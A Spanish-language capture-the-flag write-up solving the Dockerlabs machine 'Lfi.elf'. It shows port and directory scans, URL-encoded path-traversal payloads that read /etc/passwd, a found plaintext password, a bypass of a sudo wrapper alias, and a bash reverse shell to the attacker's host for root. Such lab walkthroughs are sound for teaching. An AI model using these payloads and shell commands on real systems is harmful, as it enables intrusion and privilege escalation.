Lfi.elf es una de las maquinas existentes actualmente en la plataforma de hacking Dockerlabs y es de dificultad Difícil
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Empezaremos con el escaneo de puertos una vez tenemos la maquina a vulnerar levantada , la ip por defecto será la 172.17.0.2.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sS -p- --open --min-rate 5000 -vvv -n 172.17.0.2 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-20 18:26 CEST Initiating ARP Ping Scan at 18:26 Scanning 172.17.0.2 [1 port] Completed ARP Ping Scan at 18:26, 0.05s elapsed (1 total hosts) Initiating SYN Stealth Scan at 18:26 Scanning 172.17.0.2 [65535 ports] Discovered open port 80/tcp on 172.17.0.2 Completed SYN Stealth Scan at 18:26, 0.78s elapsed (65535 total ports) Nmap scan report for 172.17.0.2 Host is up, received arp-response (0.0000050s latency). Scanned at 2024-08-20 18:26:36 CEST for 1s Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE REASON 80/tcp open http syn-ack ttl 64 MAC Address: 02:42:AC:11:00:02 (Unknown) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.94 seconds Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB) |
Una vez tenemos los puertos abiertos, ejecutaremos con nmap con el parámetro -sCV para que le pase los scripts por defecto y conseguir mas información de cada uno de ellos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
┌──(kali㉿kali)-[~] └─$ nmap -p80 -sCV 172.17.0.2 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-20 18:27 CEST Nmap scan report for 172.17.0.2 Host is up (0.00013s latency). PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.58 ((Ubuntu)) |_http-title: CTF LFI.elf |_http-server-header: Apache/2.4.58 (Ubuntu) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.17 seconds |
Entramos por el puerto 80 y tras ir viendo todas las paginas, solo encontramos con links muertos o paginas con formularios donde no hacen nada, pero se hace hincapié en la vulnerabilidad de LFI

Usaremos feroxbuster para ver que paginas hemos podido no encontrar
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 |
┌──(kali㉿kali)-[~] └─$ feroxbuster --url http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.10.3 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://172.17.0.2 🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.10.3 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [php, html, txt] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 403 GET 9l 28w 275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 404 GET 9l 31w 272c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 25l 82w 1001c http://172.17.0.2/downloads.php 301 GET 9l 28w 308c http://172.17.0.2/pages => http://172.17.0.2/pages/ 200 GET 1l 43w 603c http://172.17.0.2/pages/home.php 200 GET 1l 67w 607c http://172.17.0.2/pages/about.php 301 GET 9l 28w 309c http://172.17.0.2/assets => http://172.17.0.2/assets/ 200 GET 22l 54w 580c http://172.17.0.2/assets/js/script.js 200 GET 22l 82w 941c http://172.17.0.2/report.php 200 GET 25l 99w 1155c http://172.17.0.2/login.php 200 GET 25l 103w 1118c http://172.17.0.2/faq.php 200 GET 13l 69w 978c http://172.17.0.2/index.php 200 GET 160l 412w 3298c http://172.17.0.2/assets/css/style.css 200 GET 26l 66w 1033c http://172.17.0.2/missions.php 200 GET 13l 69w 978c http://172.17.0.2/ 200 GET 1l 57w 592c http://172.17.0.2/pages/contact.php [>-------------------] - 2s 13559/882252 2m found:14 errors:0 [>-------------------] - 2s 13775/882252 2m found:14 errors:0 [>-------------------] - 2s 13672/882184 6504/s http://172.17.0.2/ [####################] - 1s 882184/882184 1326592/s http://172.17.0.2/pages/ => Directory listing [####################] - 1s 882184/882184 1291631/s http://172.17.0.2/assets/ => Directory listing [####################] - 1s 882184/882184 1291631/s http://172.17.0.2/assets/js/ => Directory listing [####################] - 1s 882184/882184 1198620/s http://172.17.0.2/assets/css/ => Directory listing 🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_172_17_0_2-1724169669.state ... |
Llegados a este punto, miraremos las paginas php si tienen algún parámetro para un posible LFI, empezaremos con el index.php
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
┌──(kali㉿kali)-[~] └─$ ffuf -u "http://172.17.0.2/index.php?FUZZ=/etc/passwd" -w ~/lfi-fuzz-params-list.txt.1 -fs 978 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://172.17.0.2/index.php?FUZZ=/etc/passwd :: Wordlist : FUZZ: /home/kali/lfi-fuzz-params-list.txt.1 :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response size: 978 ________________________________________________ search [Status: 200, Size: 1257, Words: 36, Lines: 33, Duration: 3ms] |
Encontramos un parámetro, ahora revisaremos a que tenemos acceso de lectura
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
┌──(kali㉿kali)-[~] └─$ ffuf -u "http://172.17.0.2/index.php?search=FUZZ" -w LFI-Jhaddix.txt -fs 375 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://172.17.0.2/index.php?search=FUZZ :: Wordlist : FUZZ: /home/kali/LFI-Jhaddix.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response size: 375 ________________________________________________ /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd [Status: 200, Size: 1257, Words: 36, Lines: 33, Duration: 2ms] ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd [Status: 200, Size: 1257, Words: 36, Lines: 33, Duration: 11ms] /etc/apache2/apache2.conf [Status: 200, Size: 7553, Words: 968, Lines: 239, Duration: 5ms] /etc/fstab [Status: 200, Size: 412, Words: 39, Lines: 15, Duration: 0ms] /etc/apt/sources.list [Status: 200, Size: 645, Words: 66, Lines: 18, Duration: 3ms] |
Si lo replicamos en burp, vemos que podemos leer passwd

Usaremos como en otras ocasiones, php chain filter, primero de todo, crearemos el payload que vamos a enviar

Ahora lo enviaremos por burpsuite

Tras revisar el directorio donde hemos spawneado, revisamos también el anterior, viendo un fichero oculto
|
1 2 3 4 5 6 |
www-data@b2d68a0feccb:/var/www$ ls -ltra total 20 drwxr-xr-x 1 root root 4096 Aug 16 13:53 .. drwxr-xr-x 4 root root 4096 Aug 16 14:53 html drwxr-xr-x 3 root root 4096 Aug 16 17:37 .secret_www-data drwxr-xr-x 4 root root 4096 Aug 16 17:38 . |
Y volvemos a listar ficheros/directorios y vemos una carpeta oculta y un fichero
|
1 2 3 4 5 6 |
www-data@b2d68a0feccb:/var/www/.secret_www-data$ ls -ltra total 16 -rw-r--r-- 1 root root 889 Aug 16 17:37 agenda.txt drwxr-xr-x 3 root root 4096 Aug 16 17:37 . drwxr-xr-x 2 root root 4096 Aug 16 17:37 .passwd drwxr-xr-x 4 root root 4096 Aug 16 17:38 .. |
El fichero agenda parece contener una lista de palabras pero no nos servirá de nada
|
1 2 3 4 5 6 7 8 9 10 11 |
www-data@b2d68a0feccb:/var/www/.secret_www-data$ head agenda.txt abandon ability absence account accuse achieve acquire activity adapter address |
Por otro lado, la carpeta contendrá un fichero y este, la contraseña del usuario lin que vimos en el passwd, así que escalamos.
|
1 2 |
www-data@b2d68a0feccb:/var/www/.secret_www-data$ head .passwd/passwords.txt lin:agentelinsecreto |
Vamos a su home y vemos los siguientes ficheros
|
1 2 3 4 |
lin@b2d68a0feccb:~$ ls -l total 8 -rwxr-xr-x 1 root root 1129 Aug 16 17:26 sistem.py -rw-r--r-- 1 root root 33 Aug 16 15:55 user.txt |
Revisamos el fichero sistem.py pero parece que vaya por aquí
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
lin@b2d68a0feccb:~$ cat sistem.py import os import subprocess import subthreads def display_system_info(): print("[INFO] Sistema y Entorno:") print(f" Sistema Operativo: {os.uname().sysname} {os.uname().release}") print(f" Arquitectura: {os.uname().machine}") try: print(f" Usuario Actual: {os.getlogin()}") except OSError: print(" Usuario Actual: No disponible") def perform_task(): print("[INFO] Realizando tarea...") print(" Tarea completada.") def main(): while True: print("[MENU] Elija una opción:") print(" 1. Mostrar información del sistema") print(" 2. Realizar tarea") print(" 3. Ejecutar módulo subthreads") print(" 4. Salir") option = input(" Opción: ") if option == '1': display_system_info() elif option == '2': perform_task() elif option == '3': subthreads.execute() elif option == '4': print("Saliendo...") break else: print("Opción no válida. Inténtelo de nuevo.") if __name__ == "__main__": main() |
Así que revisaremos sudo -l, pero cuando lo ejecutamos nos da un mensaje un tanto extraño.
|
1 2 |
lin@b2d68a0feccb:~$ sudo -l No tienes permiso para listar los comandos disponibles. |
En cambio lanzando linpeas, vemos que si nos da un output de este comando
|
1 2 3 4 5 6 7 |
╔══════════╣ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid Matching Defaults entries for lin on b2d68a0feccb: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User lin may run the following commands on b2d68a0feccb: (ALL) NOPASSWD: /tmp/script.sh |
Porque..? Revisamos los alias del usuario y vemos lo siguiente
|
1 2 3 4 5 6 7 8 9 10 11 |
lin@b2d68a0feccb:/tmp$ alias alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"' alias egrep='egrep --color=auto' alias fgrep='fgrep --color=auto' alias grep='grep --color=auto' alias l='ls -CF' alias la='ls -A' alias ll='ls -alF' alias ls='ls --color=auto' <strong>alias sudo='/usr/local/bin/sudo_wrapper.sh' </strong> |
Es decir, cuando usamos sudo sin darle el path absoluto, nos lleva a este script
|
1 2 3 4 5 6 7 8 9 10 |
lin@b2d68a0feccb:/tmp$ cat /usr/local/bin/sudo_wrapper.sh #!/bin/bash # Script para interceptar sudo -l y mostrar un mensaje if [[ "$@" == *"-l"* ]]; then echo "No tienes permiso para listar los comandos disponibles." exit 1 else /usr/bin/sudo "$@" fi |
Por lo tanto cada vez que usamos sudo -l , nos mostrara el mensaje de «No tienes permiso para listar los comandos disponibles.» y sino, tendrá un comportamiento normal, pero como hemos dicho, si lo ejecutamos con un path absoluto, funciona correctamente.
|
1 2 3 4 5 6 7 8 |
lin@b2d68a0feccb:/tmp$ $(which sudo) -l Matching Defaults entries for lin on b2d68a0feccb: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User lin may run the following commands on b2d68a0feccb: (ALL) NOPASSWD: /tmp/script.sh |
A partir de aquí, solo tendremos que crear el fichero script.sh en /tmp para enviarnos una reverse shell y convertirnos en root
|
1 2 3 4 5 6 7 8 9 10 11 |
lin@b2d68a0feccb:/tmp$ cat script.sh bash -c '/bin/bash -i >& /dev/tcp/172.17.0.1/1235 0>&1' lin@b2d68a0feccb:/tmp$ chmod +x /tmp/script.sh && sudo /tmp/script.sh ┌──(kali㉿kali)-[~] └─$ nc -vnlp 1235 listening on [any] 1235 ... connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 40464 root@b2d68a0feccb:/tmp# |






